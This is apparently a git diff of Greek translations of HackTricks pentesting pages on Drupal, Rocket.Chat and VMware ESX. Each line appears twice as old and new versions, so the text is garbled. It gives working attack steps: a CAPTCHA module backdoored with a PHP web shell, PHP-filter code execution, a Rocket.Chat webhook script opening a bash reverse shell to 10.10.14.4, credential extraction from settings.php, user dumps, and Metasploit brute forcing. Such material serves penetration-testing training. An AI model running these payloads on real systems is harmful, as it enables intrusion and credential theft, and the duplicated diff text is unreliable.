## Απαρίθμηση
Το Drupal υποστηρίζει από προεπιλογή **τρεις τύπους χρηστών**:
Το Drupal υποστηρίζει **τρία είδη χρηστών** από προεπιλογή:
1. **`Διαχειριστής`**: Αυτός ο χρήστης έχει πλήρη έλεγχο του ιστότοπου Drupal.
2. **`Εξουσιοδοτημένος Χρήστης`**: Αυτοί οι χρήστες μπορούν να συνδεθούν στον ιστότοπο και να εκτελέσουν λειτουργίες όπως προσθήκη και επεξεργασία άρθρων βάσει των δικαιωμάτων τους.
3. **`Ανώνυμος`**: Όλοι οι επισκέπτες του ιστότοπου θεωρούνται ανώνυμοι. Από προεπιλογή, αυτοί οι χρήστες επιτρέπεται μόνο η ανάγνωση των αναρτήσεων.
1. **`Διαχειριστής`**: Αυτός ο χρήστης έχει πλήρη έλεγχο στην ιστοσελίδα του Drupal.
2. **`Εξουσιοδοτημένος Χρήστης`**: Αυτοί οι χρήστες μπορούν να συνδεθούν στην ιστοσελίδα και να εκτελέσουν λειτουργίες όπως προσθήκη και επεξεργασία άρθρων βάσει των δικαιωμάτων τους.
3. **`Ανώνυμος`**: Όλοι οι επισκέπτες της ιστοσελίδας θεωρούνται ανώνυμοι. Από προεπιλογή, αυτοί οι χρήστες επιτρέπεται μόνο να διαβάζουν αναρτήσεις.
### Έκδοση
@ -41,41 +46,41 @@ curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
```
{% hint style="info" %}
Οι νεότερες εγκαταστάσεις του Drupal αποκλείουν από προεπιλογή την πρόσβαση στα αρχεία `CHANGELOG.txt` και `README.txt`.
Οι νεότερες εγκαταστάσεις του Drupal από προεπιλογή αποκλείουν την πρόσβαση στα αρχεία `CHANGELOG.txt` και `README.txt`.
{% endhint %}
### Απαρίθμηση ονομάτων χρηστών
#### Εγγραφή
Στο _/user/register_ απλά προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη και αν το όνομα είναι ήδη κατειλημμένο, θα εμφανιστεί ειδοποίηση:
Στο _/user/register_ απλά προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη και αν το όνομα είναι ήδη κατειλημμένο θα ειδοποιηθείτε:
![](<../../.gitbook/assets/image (254).png>)
![](<../../.gitbook/assets/image (325).png>)
#### Αίτηση νέου κωδικού πρόσβασης
Εάν ζητήσετε ένα νέο κωδικό πρόσβασης για ένα υπάρχον όνομα χρήστη:
Εάν ζητήσετε ένα νέο κωδικό για ένα υπάρχον όνομα χρήστη:
![](<../../.gitbook/assets/image (255).png>)
![](<../../.gitbook/assets/image (900).png>)
Εάν ζητήσετε ένα νέο κωδικό πρόσβασης για ένα μη υπάρχον όνομα χρήστη:
Εάν ζητήσετε ένα νέο κωδικό για ένα μη υπάρχον όνομα χρήστη:
![](<../../.gitbook/assets/image (256).png>)
![](<../../.gitbook/assets/image (304).png>)
### Απόκτηση αριθμού χρηστών
### Λήψη αριθμού χρηστών
Αποκτώντας πρόσβαση στο _/user/\<αριθμός>_, μπορείτε να δείτε τον αριθμό των υπαρχόντων χρηστών, σε αυτήν την περίπτωση είναι 2, καθώς το _/users/3_ επιστρέφει ένα σφάλμα "δεν βρέθηκε":
Με την πρόσβαση στο _/user/\<number>_ μπορείτε να δείτε τον αριθμό των υπαρχόντων χρηστών, σε αυτήν την περίπτωση είναι 2 καθώς το _/users/3_ επιστρέφει σφάλμα μη εύρεσης:
![](<../../.gitbook/assets/image (257).png>)
![](<../../.gitbook/assets/image (330).png>)
![](<../../.gitbook/assets/image (227) (1) (1).png>)
![](<../../.gitbook/assets/image (227) (1) (1) (1).png>)
### Κρυφές σελίδες
**Δοκιμάστε `/node/$` όπου `$` είναι ένας αριθμός** (από 1 έως 500 για παράδειγμα).\
Μπορείτε να βρείτε **κρυφές σελίδες** (δοκιμαστικές, ανάπτυξης) που δεν αναφέρονται από τις μηχανές αναζήτησης.
**Αναζητήστε `/node/$` όπου `$` είναι ένας αριθμός** (από 1 έως 500 για παράδειγμα).\
Μπορείτε να βρείτε **κρυφές σελίδες** (δοκιμή, ανάπτυξη) οι οποίες δεν αναφέρονται από τις μηχανές αναζήτησης.
#### Πληροφορίες για εγκατεστημένα modules
#### Πληροφορίες εγκατεστημένων ενοτήτων
```bash
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
@ -86,8 +91,6 @@ curl https://example.com/core/core.services.yml
curl https://example.com/config/sync/swiftmailer.transport.yml
```
### Αυτόματο
Η αυτόματη εκτέλεση είναι μια τεχνική που χρησιμοποιείται στον χώρο του χάκινγκ για να εκτελέσει αυτόματα επιθέσεις ή διαδικασίες. Αυτό μπορεί να γίνει με τη χρήση εργαλείων αυτοματισμού, όπως σενάρια εκτέλεσης εντολών ή σενάρια προγραμματισμού. Η αυτόματη εκτέλεση μπορεί να επιτρέψει στον χάκερ να εκτελέσει γρήγορα και αποτελεσματικά επιθέσεις, εξοικονομώντας χρόνο και προσπάθεια. Ωστόσο, πρέπει να ληφθούν προφυλάξεις για να αποφευχθεί η παραβίαση των νόμων και η παραβίαση της ιδιωτικότητας ή της ασφάλειας των συστημάτων.
```bash
droopescan scan drupal -u http://drupal-site.local
```
@ -99,35 +102,35 @@ droopescan scan drupal -u http://drupal-site.local
Σε παλαιότερες εκδόσεις του Drupal **(πριν την έκδοση 8)**, ήταν δυνατό να συνδεθείτε ως διαχειριστής και **ενεργοποιήσετε το πρόσθετο `PHP filter`**, το οποίο "Επιτρέπει την αξιολόγηση ενσωματωμένου κώδικα PHP/αποσπασμάτων."
{% endhint %}
Χρειάζεστε την **εγκατάσταση του πρόσθετου php** (ελέγξτε αυτό προσπελαύνοντας το _/modules/php_ και αν επιστρέφει **403**, τότε **υπάρχει**, αν δεν βρεθεί, τότε **το πρόσθετο php δεν είναι εγκατεστημένο**)
Χρειάζεστε το **πρόσθετο php να είναι εγκατεστημένο** (ελέγξτε τον έλεγχο πρόσβασης στο _/modules/php_ και αν επιστρέφει **403** τότε, **υπάρχει**, αν **δεν βρέθηκε**, τότε το **πρόσθετο php δεν είναι εγκατεστημένο**)
Πηγαίνετε στο ρόσθετα_ -> (**Ελέγξτε**) _PHP Filter_ -> _Αποθήκευση ρυθμίσεων_
Πηγαίνετε σε ρόσθετα_ -> (**Ελέγξτε**) _PHP Filter_ -> _Αποθηκεύστε τη διαμόρφωση_
![](<../../.gitbook/assets/image (247) (1).png>)
Στη συνέχεια, κάντε κλικ στο ροσθήκη περιεχομένου_ -> Επιλέξτε _Βασική σελίδα_ ή ρθρο_ -> Γράψτε _κώδικα php shell_ στο πεδίο _Σώμα_ -> Επιλέξτε _Κώδικας PHP_ στη μορφή κειμένου -> Επιλέξτε _Προεπισκόπηση_
Στη συνέχεια κάντε κλικ στο ροσθήκη περιεχομένου_ -> Επιλέξτε _Βασική Σελίδα_ ή ρθρο_ -> Γράψτε _κώδικα κέλυφους php στο σώμα_ -> Επιλέξτε _Κώδικα PHP_ στη _Μορφή κειμένου_ -> Επιλέξτε _Προεπισκόπηση_
![](<../../.gitbook/assets/image (253) (1).png>)
![](<../../.gitbook/assets/image (335).png>)
Τέλος, απλά αποκτήστε πρόσβαση στον νεοδημιουργηθέντα κόμβο:
Τέλος, απλά αποκτήστε πρόσβαση στο νεοδημιουργημένο κόμβο:
```bash
curl http://drupal-site.local/node/3
```
### Εγκατάσταση του Αρθρώματος PHP Filter
### Εγκατάσταση του Πρόσθετου PHP Filter
Από την έκδοση **8 και μετά, το** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **αρθρώματα δεν εγκαθίστανται από προεπιλογή**. Για να αξιοποιήσουμε αυτήν τη λειτουργικότητα, θα πρέπει να **εγκαταστήσουμε το αρθρώμα μόνοι μας**.
Από την έκδοση **8 και μετά, το** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **δεν εγκαθίσταται από προεπιλογή**. Για να εκμεταλλευτούμε αυτήν τη λειτουργία, θα πρέπει **να εγκαταστήσουμε το πρόσθετο μόνοι μας**.
1. Κατεβάστε την πιο πρόσφατη έκδοση του αρθρώματος από την ιστοσελίδα του Drupal.
1. Κατεβάστε την πιο πρόσφατη έκδοση του πρόσθετου από την ιστοσελίδα του Drupal.
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. Αφού κατεβάσετε το αρχείο, πηγαίνετε στο **`Διαχείριση`** > **`Αναφορές`** > **`Διαθέσιμες ενημερώσεις`**.
3. Κάντε κλικ στο **`Περιήγηση`**`,` επιλέξτε το αρχείο από τον φάκελο στον οποίο το κατεβάσατε, και κάντε κλικ στο **`Εγκατάσταση`**.
4. Αφού εγκατασταθεί το αρθρώμα, μπορούμε να κάνουμε κλικ στο **`Περιεχόμενο`** και **δημιουργήσουμε μια νέα βασική σελίδα**, παρόμοια με το παράδειγμα του Drupal 7. Πάλι, βεβαιωθείτε ότι **επιλέγετε `Κώδικας PHP` από την αναπτυσσόμενη λίστα `Μορφή κειμένου`**.
2. Αφού γίνει η λήψη, πηγαίνετε σε **`Διαχείριση`** > **`Αναφορές`** > **`Διαθέσιμες ενημερώσεις`**.
3. Κάντε κλικ στο **`Περιήγηση`**, επιλέξτε το αρχείο από τον κατάλογο που το κατεβάσατε, και στη συνέχεια κάντε κλικ στο **`Εγκατάσταση`**.
4. Αφού εγκατασταθεί το πρόσθετο, μπορούμε να κάνουμε κλικ στο **`Περιεχόμενο`** και **να δημιουργήσουμε μια νέα βασική σελίδα**, παρόμοια με τον τρόπο που κάναμε στο παράδειγμα του Drupal 7. Ξανά, βεβαιωθείτε ότι **επιλέγετε `Κώδικα PHP` από την αναπτυσσόμενη λίστα `Μορφοποίηση κειμένου`**.
### Αρθρώματος με παρασυρμένο πίσω πόρτα
### Πρόσθετο με Παρασκευασμένη Πίσω Πόρτα
Ένα αρθρώματος με παρασυρμένο πίσω πόρτα μπορεί να δημιουργηθεί **προσθέτοντας ένα shell σε ένα υπάρχον αρθρώμα**. Τα αρθρώματα μπορούν να βρεθούν στην ιστοσελίδα drupal.org. Ας επιλέξουμε ένα αρθρώμα, όπως το [CAPTCHA](https://www.drupal.org/project/captcha). Κατέβασε το αρχείο tar.gz [αρχείο](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
Ένα πρόσθετο με παρασκευασμένη πίσω πόρτα μπορεί να δημιουργηθεί **προσθέτοντας ένα shell σε ένα υπάρχον πρόσθετο**. Τα πρόσθετα μπορούν να βρεθούν στην ιστοσελίδα drupal.org. Ας επιλέξουμε ένα πρόσθετο όπως το [CAPTCHA](https://www.drupal.org/project/captcha). Κύλισε προς τα κάτω και αντέγραψε τον σύνδεσμο για το tar.gz [αρχείο](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
* Κατεβάστε το αρχείο και αποσυμπιέστε τα περιεχόμενά του.
* Κατέβασε το αρχείο και εξάγετε το περιεχόμενό του.
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
@ -138,36 +141,28 @@ tar xvf captcha-8.x-1.2.tar.gz
system($_GET["cmd"]);
?>
```
* Στη συνέχεια, πρέπει να δημιουργήσουμε ένα αρχείο **`.htaccess`** για να αποκτήσουμε πρόσβαση στον φάκελο. Αυτό είναι απαραίτητο επειδή το Drupal απορρίπτει την άμεση πρόσβαση στον φάκελο **`/modules`**.
* Επόμενο, πρέπει να δημιουργήσουμε ένα αρχείο **`.htaccess`** για να δώσουμε πρόσβαση στον φάκελο. Αυτό είναι απαραίτητο επειδή το Drupal αρνείται την άμεση πρόσβαση στον φάκελο **`/modules`**.
```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```
* Η παραπάνω διαμόρφωση θα εφαρμόσει κανόνες για τον φάκελο / όταν ζητήσουμε ένα αρχείο στον φάκελο /modules. Αντιγράψτε και τα δύο αρχεία στον φάκελο captcha και δημιουργήστε ένα αρχείο αρχειοθέτησης.
* Η διαμόρφωση παραπάνω θα εφαρμόσει κανόνες για τον φάκελο / όταν ζητάμε ένα αρχείο στο /modules. Αντιγράψτε και τα δύο αρχεία στον φάκελο captcha και δημιουργήστε ένα αρχείο αρχειοθέτησης.
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* Υποθέτοντας ότι έχουμε **διαχειριστική πρόσβαση** στον ιστότοπο, κάντε κλικ στο **`Διαχείριση`** και στη συνέχεια στο **`Επέκταση`** στην πλαϊνή γραμμή. Στη συνέχεια, κάντε κλικ στο κουμπί **`+ Εγκατάσταση νέου πρόσθετου`**, και θα μας μεταφέρει στη σελίδα εγκατάστασης, όπως για παράδειγμα `http://drupal-site.local/admin/modules/install`. Περιηγηθείτε στο αρχείο Captcha με παρασιτικό κώδικα και κάντε κλικ στο **`Εγκατάσταση`**.
* Αφού η εγκατάσταση επιτύχει, περιηγηθείτε στο **`/modules/captcha/shell.php`** για να εκτελέσετε εντολές.
* Υποθέτοντας ότι έχουμε **διαχειριστική πρόσβαση** στον ιστότοπο, κάντε κλικ στο **`Διαχείριση`** και στη συνέχεια στο **`Επέκταση`** στην πλαϊνή μπάρα πλοήγησης. Στη συνέχεια, κάντε κλικ στο κουμπί **`+ Εγκατάσταση νέου πρόσθετου`**, και θα μεταφερθούμε στη σελίδα εγκατάστασης, όπως το `http://drupal-site.local/admin/modules/install`. Περιηγηθείτε στο αρχείο Captcha με backdoor και κάντε κλικ στο **`Εγκατάσταση`**.
* Μόλις η εγκατάσταση επιτύχει, περιηγηθείτε στο **`/modules/captcha/shell.php`** για να εκτελέσετε εντολές.
## Μετά την εκμετάλλευση
## Μετά την Εκμετάλλευση
### Διαβάστε το settings.php
```
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
```
### Αποθήκευση χρηστών από τη βάση δεδομένων
To dump users from a Drupal database, you can use the following command:
```bash
drush sql-dump --tables-list=users > users.sql
```
This command will create a SQL dump file called `users.sql` that contains the user data from the Drupal database.
### Αδειάστε τους χρήστες από τη βάση δεδομένων
```
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
```
@ -175,16 +170,21 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -2,58 +2,67 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## RCE
Εάν είστε διαχειριστής μέσα στο Rocket Chat μπορείτε να αποκτήσετε RCE.
Αν είστε διαχειριστής μέσα στο Rocket Chat μπορείτε να αποκτήσετε RCE.
* Πηγαίνετε στις **`Ενσωματώσεις`** και επιλέξτε **`Νέα Ενσωμάτωση`** και επιλέξτε οποιαδήποτε: **`Εισερχόμενη WebHook`** ή **`Εξερχόμενη WebHook`**.
* Πηγαίνετε στις **`Ενσωματώσεις`** και επιλέξτε **`Νέα Ενσωμάτωση`** και επιλέξτε οποιαδήποτε: **`Εισερχόμενο WebHook`** ή **`Εξερχόμενο WebHook`**.
* `/admin/integrations/incoming`
<figure><img src="../../.gitbook/assets/image (4) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (263).png" alt=""><figcaption></figcaption></figure>
* Σύμφωνα με τα [έγγραφα](https://docs.rocket.chat/guides/administration/admin-panel/integrations), και τα δύο χρησιμοποιούν το ES2015 / ECMAScript 6 ([βασικά JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) για την επεξεργασία των δεδομένων. Έτσι ας αποκτήσουμε ένα [rev shell για το javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) όπως:
* Σύμφωνα με τα [έγγραφα](https://docs.rocket.chat/guides/administration/admin-panel/integrations), και τα δύο χρησιμοποιούν ES2015 / ECMAScript 6 ([βασικά JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) για την επεξεργασία των δεδομένων. Έτσι ας αποκτήσουμε ένα [rev shell για το javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) όπως:
```javascript
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
* Ρύθμιση του WebHook (ο κανάλι και το όνομα χρήστη για την ανάρτηση πρέπει να υπάρχουν):
* Ρύθμιση του WebHook (το κανάλι και η ανάρτηση ως όνομα χρήστη πρέπει να υπάρχουν):
<figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (902).png" alt=""><figcaption></figcaption></figure>
* Ρύθμιση του script του WebHook:
* Ρύθμιση του σεναρίου WebHook:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (569).png" alt=""><figcaption></figcaption></figure>
* Αποθήκευση των αλλαγών
* Λήψη του δημιουργημένου URL του WebHook:
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (934).png" alt=""><figcaption></figcaption></figure>
* Καλέστε το με την εντολή curl και θα πρέπει να λάβετε το αντίστοιχο αντίστροφο κέλυφος (rev shell)
* Καλέστε το με το curl και θα πρέπει να λάβετε το αντίστροφο κέλυφος
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -1,48 +1,48 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
# Απαρίθμηση
```text
{% embed url="https://websec.nl/" %}
# Enumeration
```bash
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
msf> use auxiliary/scanner/vmware/esx_fingerprint
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```
# Βίαιη Δοκιμή
Η βίαιη δοκιμή είναι μια τεχνική που χρησιμοποιείται στον χώρο της κυβερνοασφάλειας για να ανακαλύψει κωδικούς πρόσβασης με τη μέθοδο της δοκιμής όλων των πιθανών συνδυασμών. Στην περίπτωση του VMware ESX/vCenter, η βίαιη δοκιμή μπορεί να χρησιμοποιηθεί για να επιτεθεί στο σύστημα και να ανακτήσει πρόσβαση σε αυτό.
Για να πραγματοποιηθεί μια επιτυχημένη βίαιη δοκιμή, ο επιτιθέμενος χρησιμοποιεί ένα εργαλείο αυτοματοποιημένης δοκιμής που εκτελεί δοκιμές μεγάλου όγκου κωδικών πρόσβασης σε σύντομο χρονικό διάστημα. Αυτό επιτρέπει στον επιτιθέμενο να εξαντλήσει όλους τους πιθανούς συνδυασμούς κωδικών πρόσβασης και να ανακτήσει πρόσβαση στο σύστημα, αν εντοπίσει τον σωστό κωδικό πρόσβασης.
Είναι σημαντικό να σημειωθεί ότι η βίαιη δοκιμή είναι μια παράνομη δραστηριότητα και απαγορεύεται από τον νόμο. Η χρήση αυτής της τεχνικής χωρίς την έγκριση του νόμιμου κατόχου του συστήματος αποτελεί παραβίαση της ιδιωτικότητας και μπορεί να έχει νομικές συνέπειες.
```text
# Χτύπημα με βίαιο τρόπο
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
Εάν βρείτε έγκυρα διαπιστευτήρια, μπορείτε να χρησιμοποιήσετε περισσότερα εργαλεία σάρωσης του metasploit για να αποκτήσετε πληροφορίες.
